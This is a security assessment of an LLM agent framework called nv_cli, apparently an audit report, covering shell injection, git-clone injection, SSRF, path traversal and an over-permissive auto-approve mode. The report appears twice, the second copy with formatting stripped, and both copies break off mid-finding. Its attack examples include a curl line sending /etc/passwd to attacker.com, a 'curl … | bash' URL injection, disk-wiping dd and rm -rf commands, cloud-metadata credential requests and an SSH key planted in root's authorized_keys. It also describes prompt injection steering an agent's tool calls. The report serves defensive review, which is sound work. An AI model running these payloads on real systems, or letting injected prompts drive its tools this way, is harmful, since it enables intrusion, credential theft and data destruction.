SECURITY ASSESSMENT: nv_cli Agent Framework
EXECUTIVE SUMMARY:
nv_cli exhibits 3 critical command injection vulnerabilities (subprocess shell execution, git clone string interpolation, file operations without path confinement) enabling remote code execution, plus 1 high-severity supply-chain risk (unverified skill installation) and 1 high-severity SSRF risk (unvalidated network fetch). Zero-trust review of the agentic control loop reveals untrusted LLM responses directly route to shell execution without command validation or dangerous-pattern filtering. Production deployment must be blocked. Remediation requires eliminating shell=True patterns, implementing cryptographic skill verification, and adding path/URL whitelisting within 48 hours.
THREAT MODEL
Attacker Profiles & Motivations
| Profile |
Capability |
Goal |
Effort |
| Prompt Injector |
Craft malicious user input or system prompt injection |
Compromise agent reasoning, trigger RCE via tool calls |
Low — no code exploit needed |
| Skill Developer (Compromised/Malicious) |
Create public skill or compromise legitimate skill repo |
Inject backdoor code during installation, persist across sessions |
Low-Medium — one-time skill publication or repo takeover |
| Network Attacker (MITM) |
Intercept agent HTTP traffic or DNS responses |
Redirect web_fetch to malicious data, poison agent decisions |
Low — local network position |
| Package Registry Attacker |
Publish typosquatted or compromised packages |
Achieve RCE via pip-based skill installation |
Medium — requires social engineering or registry compromise |
| Insider (Compromised API Key) |
Exfiltrate or manipulate OpenAI API key |
Hijack agent for large-scale attacks; inject jailbreak instructions |
Low — key stored in config or env; often world-readable |
Attack Surface Map
┌─────────────────────────────────────┐
│ LLM COMPLETION (OpenAI API) │ ◄─── UNTRUSTED SOURCE
│ Raw: "tool_name": "execute_command"│
│ "command": "cat /etc/passwd; curl ..."
└──────────────┬──────────────────────┘
│
▼
┌──────────────────┐
│ parse_tool_calls │ ◄─── NO VALIDATION
└────────┬─────────┘
│
┌────────▼────────────────────────┐
│ _execute_tool(tool_name, args) │
│ ToolRegistry lookup │ ◄─── UNRESTRICTED REGISTRY
└────────┬────────────────────────┘
│
┌────────────┼────────────────────┐
│ │ │
▼ ▼ ▼
execute_command web_fetch write_file
shell=True ───────────────────── path.expanduser()
NO ESCAPE (CRITICAL RCE) NO CONFINEMENT (PATH TRAVERSAL)
│
└─ RESULT: Arbitrary code execution as agent user
Zero-Trust Validation Gaps
| Trust Assumption (BROKEN) |
Impact |
| LLM responses are safe tool calls |
Tool calls directly trigger shell execution; no command validation or dangerous-keyword filtering |
| Installed skills are scanned for safety |
Regex patterns in SecurityScanner are bypassable (no AST analysis); obfuscated code passes |
| File operations respect sandbox |
write_file() uses .expanduser() but not .resolve() before mkdir; path traversal possible |
| Network requests target intended servers |
web_fetch() accepts http://, no certificate pinning, no SSRF filtering (localhost, 169.254.x.x, metadata endpoints unrestricted) |
| Skill sources are trustworthy |
No cryptographic signature verification; git repos compromised post-clone deliver arbitrary code |
VERIFIED FINDINGS
FINDING: Unrestricted Shell Command Injection via execute_command()
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
EVIDENCE: nv_cli/tools/implementations.py:51–62
def execute_command(command: str, timeout: int = 120) -> str:
"""Execute a shell command."""
try:
result = subprocess.run(
command,
shell=True,
capture_output=True,
text=True,
timeout=timeout
)
Vulnerability Details:
command parameter is user-supplied (originates from LLM tool call parsing in agent.py—untrusted source)
shell=True enables shell metacharacter interpretation (|, &&, ;, backticks, $(), ${})
- No input validation, escaping, allowlist, or dangerous-keyword filtering
- Output truncation (2000 chars) does not mitigate RCE
- Timeout protection does not prevent damage (e.g.,
; rm -rf / & forks and runs in background)
Attack Vector:
- Agent user enters prompt: "help me analyze this directory"
- LLM generates response:
tool_call: execute_command {"command": "ls -la; curl http://attacker.com/exfil?data=$(cat /etc/passwd | base64)"}
- Agent parses tool call and executes command string as-is
- Shell interprets semicolon; both
ls -la and attacker's curl execute
- Attacker receives exfiltrated
/etc/passwd
Residual Risk (After Mitigation):
- Even with
shlex.split() + list-mode subprocess, LLM could generate valid dangerous commands (rm -rf /home/user, dd if=/dev/zero of=/dev/sda)
- Residual risk depends on downstream permission model (see Finding: Weak Permission Check)
Recommendation:
- Immediate: Remove
shell=True; parse command with shlex.split(command) and pass as list
- Short-term: Implement command allowlist (whitelist safe commands:
ls, grep, cat, echo)
- Medium-term: Add dangerous-keyword detection (
rm, dd, shutdown, reboot, mkfs); require explicit user confirmation for risky commands
- Long-term: Replace agent-driven command execution with domain-specific DSL (e.g., restricted subset of shell commands)
FINDING: Shell Injection in Git Clone Installation
Severity: CRITICAL (CVSS 9.1)
CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
EVIDENCE: nv_cli/skills/installer.py:54–60
def _install_from_git(self, url: str, name: Optional[str]) -> bool:
"""Install from git."""
skill_name = name or url.split("/")[-1].replace(".git", "")
target = self.skills_dir / skill_name
cmd = f"git clone {url} {target}"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
Vulnerability Details:
url parameter is user-supplied (caller can be agent or human user)
- String interpolation into shell command:
f"git clone {url} {target}"
- No URL validation, escaping, or scheme checking
subprocess.run(..., shell=True) interprets shell metacharacters in both url and target
- Example malicious URL:
https://example.com/repo.git; rm -rf / or https://example.com/repo.git && curl attacker.com/payload | bash
Attack Vector:
- Attacker publishes skill installation instructions on social platform: "Install skill:
agent install-skill --url 'https://attacker.com/skill.git; dd if=/dev/zero of=/dev/sda'"
- Unsuspecting user runs command
subprocess.run() executes both git clone (fails safely) and dd command (destructive; overwrites disk)
- Alternatively, attacker compromises legitimate skill git repo and injects post-clone hook (e.g.,
setup.py with os.system())
Supply-Chain Context:
- Even if
url is validly formed, a compromised or attacker-controlled git repo can deliver arbitrary code
- SecurityScanner (regex-based) is insufficient to detect obfuscated code (base64 payloads, multi-line strings, eval constructs)
- No commit signature verification; attacker can force-push malicious code to a fork
Recommendation:
- Immediate: Remove
shell=True; use list-mode subprocess: subprocess.run(["git", "clone", url, str(target)])
- Short-term: Validate URL scheme (https only); reject localhost/IP addresses in URLs
- Medium-term: Require GPG-signed commits or releases; verify commit signatures before installation
- Long-term: Maintain skill allowlist/pinned versions with commit hashes; audit skills before production use
FINDING: Unvalidated Network Fetch Enables SSRF
Severity: HIGH (CVSS 8.2)
CWE: CWE-918 (Server-Side Request Forgery)
EVIDENCE: nv_cli/tools/implementations.py:120–134
def web_fetch(url: str) -> str:
"""Fetch content from URL."""
import urllib.request
import urllib.error
try:
req = urllib.request.Request(
url,
headers={
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36'
}
)
with urllib.request.urlopen(req, timeout=30) as response:
Vulnerability Details:
url parameter is user-supplied (from LLM tool call) without validation
- No scheme enforcement:
file://, gopher://, ftp://, http://, https:// all accepted
- No SSRF filtering: localhost (
127.0.0.1, localhost, ::1), private IPs (10.x.x.x, 172.16.x.x, 192.168.x.x), link-local (169.254.x.x), metadata endpoints (169.254.169.254) unrestricted
- Default SSL verification in Python 3.6+ is enabled but:
- HTTP URLs bypass certificate checks entirely
- No certificate pinning or custom SSL context
- Hostname verification could be skipped if implementation is incomplete
Attack Vectors:
-
Internal Service Enumeration:
web_fetch: {"url": "http://localhost:6379"} # Access Redis, unauth'd
web_fetch: {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"} # AWS metadata
-
Data Exfiltration:
web_fetch: {"url": "file:///etc/passwd"} # Read local files (if file:// is not blocked)
-
Credential Harvesting:
web_fetch: {"url": "http://10.0.1.50:5432"} # Probe internal database port
-
Denial of Service:
web_fetch: {"url": "http://localhost/download?file=largefile.bin"} # Exhaust disk/memory
Residual Risk (After Mitigation):
- HTTPS enforcement + cert verification prevents MITM on external URLs
- SSRF filtering (localhost + private IP rejection) prevents internal service access
- Residual: Attacker could enumerate internal DNS zones via URL parameter timing analysis
Recommendation:
- Immediate:
- Enforce HTTPS only: reject
http:// URLs
- Reject localhost/private IPs: blocklist
127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, ::1/128, fc00::/7
- Validate URL scheme: whitelist
https:// only
- Short-term: Implement URL allowlist (e.g., domain pattern matching)
- Medium-term: Add SSL context with certificate pinning for critical external services
- Long-term: Route all outbound requests through proxy with DNS sinkhole for internal addresses
FINDING: Missing Path Confinement in write_file()
Severity: HIGH (CVSS 8.1)
CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
EVIDENCE: nv_cli/tools/implementations.py:32–44
def write_file(path: str, content: str, force: bool = False) -> str:
"""Write a file."""
try:
filepath = Path(path).expanduser()
filepath.parent.mkdir(parents=True, exist_ok=True)
if filepath.exists() and not force:
return f"Error: File exists. Use edit_file to modify."
filepath.write_text(content, encoding='utf-8')
Vulnerability Details:
path parameter is user-supplied (from LLM tool call) without validation
.expanduser() expands ~ to home directory but does NOT canonicalize or sandbox
- No
.resolve() before directory creation or write → path traversal via ../ is possible
filepath.parent.mkdir(parents=True, exist_ok=True) creates all parent directories without confinement checks
- Attacker can write to any location the agent user has permissions for:
- System files:
/etc/cron.d/, /etc/sudoers, /root/.ssh/authorized_keys
- Application code:
/app/src/main.py (inject malicious code)
- Configuration:
/etc/nginx/nginx.conf (modify web server behavior)
Attack Scenario:
write_file: {
"path": "../../../../root/.ssh/authorized_keys",
"content": "ssh-rsa AAAA... attacker@evil.com",
"force": true
}
Result: If agent runs as root or in a container with loose permissions, attacker's SSH key is added to root account.
Comparison with edit_file():
edit_file() at line 65 uses .resolve(), which canonicalizes symlinks and relative paths
write_file() does not, creating inconsistency and a vulnerability gap
Recommendation:
- Immediate:
- Add
.resolve() after .expanduser(): filepath = Path(path).expanduser().resolve()
- Add path confinement check:
assert filepath.is_relative_to(safe_base_dir) (Python 3.9+) or manual string comparison
- Define safe base directory (e.g., project directory, user home,
/tmp—depends on use case)
- Short-term: Implement allowlist of writable directories; reject writes outside allowlist
- Medium-term: Add audit logging for all file writes (path, content hash, user, timestamp)
- Long-term: Run agent with minimal filesystem permissions (containerization, chroot, or capability restriction)
FINDING: Weak Permission Check Allows Blanket Tool Approval
Severity: HIGH (CVSS 8.0)
CWE: CWE-400 (Uncontrolled Resource Consumption)
EVIDENCE: nv_cli/agents/agent.py:254–266
def _check_permission(self, tool: str, args: Dict) -> bool:
"""Check if tool execution is allowed."""
from ..config.config import PermissionMode
mode = self.config.permission_mode
if mode == PermissionMode.NEVER:
return False
if mode == PermissionMode.AUTO:
return True
Vulnerability Details:
PermissionMode.AUTO grants blanket approval to ALL tools without restriction
- No dangerous-command filtering: even malicious
execute_command calls are approved
- No rate limiting: agent can execute unlimited commands per session
- No per
SECURITY ASSESSMENT: nv_cli Agent Framework
EXECUTIVE SUMMARY:
nv_cli exhibits 3 critical command injection vulnerabilities (subprocess shell execution, git clone string interpolation, file operations without path confinement) enabling remote code execution, plus 1 high-severity supply-chain risk (unverified skill installation) and 1 high-severity SSRF risk (unvalidated network fetch). Zero-trust review of the agentic control loop reveals untrusted LLM responses directly route to shell execution without command validation or dangerous-pattern filtering. Production deployment must be blocked. Remediation requires eliminating shell=True patterns, implementing cryptographic skill verification, and adding path/URL whitelisting within 48 hours.
THREAT MODEL
Attacker Profiles & Motivations
Attack Surface Map
Zero-Trust Validation Gaps
write_file()uses.expanduser()but not.resolve()before mkdir; path traversal possibleweb_fetch()accepts http://, no certificate pinning, no SSRF filtering (localhost, 169.254.x.x, metadata endpoints unrestricted)VERIFIED FINDINGS
FINDING: Unrestricted Shell Command Injection via execute_command()
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
EVIDENCE:
nv_cli/tools/implementations.py:51–62Vulnerability Details:
commandparameter is user-supplied (originates from LLM tool call parsing inagent.py—untrusted source)shell=Trueenables shell metacharacter interpretation (|,&&,;, backticks,$(),${}); rm -rf / &forks and runs in background)Attack Vector:
tool_call: execute_command {"command": "ls -la; curl http://attacker.com/exfil?data=$(cat /etc/passwd | base64)"}ls -laand attacker'scurlexecute/etc/passwdResidual Risk (After Mitigation):
shlex.split()+ list-mode subprocess, LLM could generate valid dangerous commands (rm -rf /home/user,dd if=/dev/zero of=/dev/sda)Recommendation:
shell=True; parse command withshlex.split(command)and pass as listls,grep,cat,echo)rm,dd,shutdown,reboot,mkfs); require explicit user confirmation for risky commandsFINDING: Shell Injection in Git Clone Installation
Severity: CRITICAL (CVSS 9.1)
CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
EVIDENCE:
nv_cli/skills/installer.py:54–60Vulnerability Details:
urlparameter is user-supplied (caller can be agent or human user)f"git clone {url} {target}"subprocess.run(..., shell=True)interprets shell metacharacters in bothurlandtargethttps://example.com/repo.git; rm -rf /orhttps://example.com/repo.git && curl attacker.com/payload | bashAttack Vector:
agent install-skill --url 'https://attacker.com/skill.git; dd if=/dev/zero of=/dev/sda'"subprocess.run()executes both git clone (fails safely) andddcommand (destructive; overwrites disk)setup.pywithos.system())Supply-Chain Context:
urlis validly formed, a compromised or attacker-controlled git repo can deliver arbitrary codeRecommendation:
shell=True; use list-mode subprocess:subprocess.run(["git", "clone", url, str(target)])FINDING: Unvalidated Network Fetch Enables SSRF
Severity: HIGH (CVSS 8.2)
CWE: CWE-918 (Server-Side Request Forgery)
EVIDENCE:
nv_cli/tools/implementations.py:120–134Vulnerability Details:
urlparameter is user-supplied (from LLM tool call) without validationfile://,gopher://,ftp://,http://,https://all accepted127.0.0.1,localhost,::1), private IPs (10.x.x.x,172.16.x.x,192.168.x.x), link-local (169.254.x.x), metadata endpoints (169.254.169.254) unrestrictedAttack Vectors:
Internal Service Enumeration:
web_fetch: {"url": "http://localhost:6379"} # Access Redis, unauth'd web_fetch: {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"} # AWS metadataData Exfiltration:
web_fetch: {"url": "file:///etc/passwd"} # Read local files (if file:// is not blocked)Credential Harvesting:
web_fetch: {"url": "http://10.0.1.50:5432"} # Probe internal database portDenial of Service:
web_fetch: {"url": "http://localhost/download?file=largefile.bin"} # Exhaust disk/memoryResidual Risk (After Mitigation):
Recommendation:
http://URLs127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,169.254.0.0/16,::1/128,fc00::/7https://onlyFINDING: Missing Path Confinement in write_file()
Severity: HIGH (CVSS 8.1)
CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
EVIDENCE:
nv_cli/tools/implementations.py:32–44Vulnerability Details:
pathparameter is user-supplied (from LLM tool call) without validation.expanduser()expands~to home directory but does NOT canonicalize or sandbox.resolve()before directory creation or write → path traversal via../is possiblefilepath.parent.mkdir(parents=True, exist_ok=True)creates all parent directories without confinement checks/etc/cron.d/,/etc/sudoers,/root/.ssh/authorized_keys/app/src/main.py(inject malicious code)/etc/nginx/nginx.conf(modify web server behavior)Attack Scenario:
write_file: { "path": "../../../../root/.ssh/authorized_keys", "content": "ssh-rsa AAAA... attacker@evil.com", "force": true }Result: If agent runs as root or in a container with loose permissions, attacker's SSH key is added to root account.
Comparison with edit_file():
edit_file()at line 65 uses.resolve(), which canonicalizes symlinks and relative pathswrite_file()does not, creating inconsistency and a vulnerability gapRecommendation:
.resolve()after.expanduser():filepath = Path(path).expanduser().resolve()assert filepath.is_relative_to(safe_base_dir)(Python 3.9+) or manual string comparison/tmp—depends on use case)FINDING: Weak Permission Check Allows Blanket Tool Approval
Severity: HIGH (CVSS 8.0)
CWE: CWE-400 (Uncontrolled Resource Consumption)
EVIDENCE:
nv_cli/agents/agent.py:254–266Vulnerability Details:
PermissionMode.AUTOgrants blanket approval to ALL tools without restrictionexecute_commandcalls are approved